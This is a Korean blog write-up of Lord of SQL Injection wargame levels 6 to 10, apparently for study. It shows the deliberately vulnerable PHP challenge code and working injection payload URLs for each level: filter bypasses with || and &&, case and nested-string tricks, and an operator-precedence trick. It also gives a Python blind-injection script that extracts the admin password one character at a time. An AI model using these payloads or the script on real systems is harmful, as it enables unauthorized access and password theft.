이어서 LOS 6~10번
6번 darkelf
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
|
이번엔 and와 or이 막혀있으니까 \&\&와 ||로 우회를 해주면 된다.
1
2
3
| https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=2'||id='admin'%26%261=1--%20
-> query : select id from prob_darkelf where id='guest' and pw='2'||id='admin'&&1=1-- '
|
&&는 URL 파라미터를 깨므로 %26%26으로 했다.
7번 orge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
|
아까와 비슷한데 LOS 4번처럼 비밀번호까지 뜯어내야하는 상황이다.
이 때 보면 위에 있는 것이 blind sqli용으로 사용할 수 있고, 확인하면 된다.
1
| https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=2%27||id=%27admin%27%26%26length(pw)>7--%20
|
이렇게 hello admin으로 체크하면서 구문을 통해서 pw의 길이와 substring을 통해서 한글자씩 가져오면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| import string
import requests
my_cookies = dict(PHPSESSID="6bl080tudhcon4v9a2m4bl5456")
idLength = 8
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
abc = string.digits + string.ascii_letters
print("Start Blind attack")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# 수정된 파라미터
param = "?pw=2%27||id=%27admin%27%26%26ASCII(SUBSTR(pw," + str(i) + ",1))=" + str(ord(a)) + "%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
print(str(i) + "번째 char is: " + a)
result += a
break
print("result: " + result)
|
8번 troll
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>
|
admin 문자열과 싱글 쿼터가 필터링 되어 있다.
하지만 입력 값에 대해 소문자로 바꾸는 lower 같은 처리가 안되어 있으므로 Admin 등으로 우회가 쉽게 된다.
1
2
3
| https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=Admin
-> query : select id from prob_troll where id='Admin'
|
9번 vampire
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
|
친숙한 유형으로 admin을 공백으로 바꿔버린다.
이는 adadminmin처럼 입력을 하면 중간이 사라지면서 admin이 되기에 우회가 쉽게 된다.
1
2
| https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin
-> query : select id from prob_vampire where id='admin'
|
10번 skeleton
1
2
3
4
5
6
7
8
9
10
11
| <?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
|
뒤에 and 1=0을 통해서 구문을 참으로 만들지 않도록 해놨다.
하지만 sql 구문에서 and가 or보다 우선순위가 높기에 False or True or False 의 구조로 바꿔버리면 된다.
1
2
| https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=' or id='admin' and 1=1 or '1
-> query : select id from prob_skeleton where id='guest' and pw='' or id='admin' and 1=1 or '1' and 1=0
|
AND 먼저 계산:
1
2
3
| id='guest' and pw='' → False
id='admin' and 1=1 → True
'1' and 1=0 → False
|
이렇게 해결 할 수 있었다.
This post is written by PRO.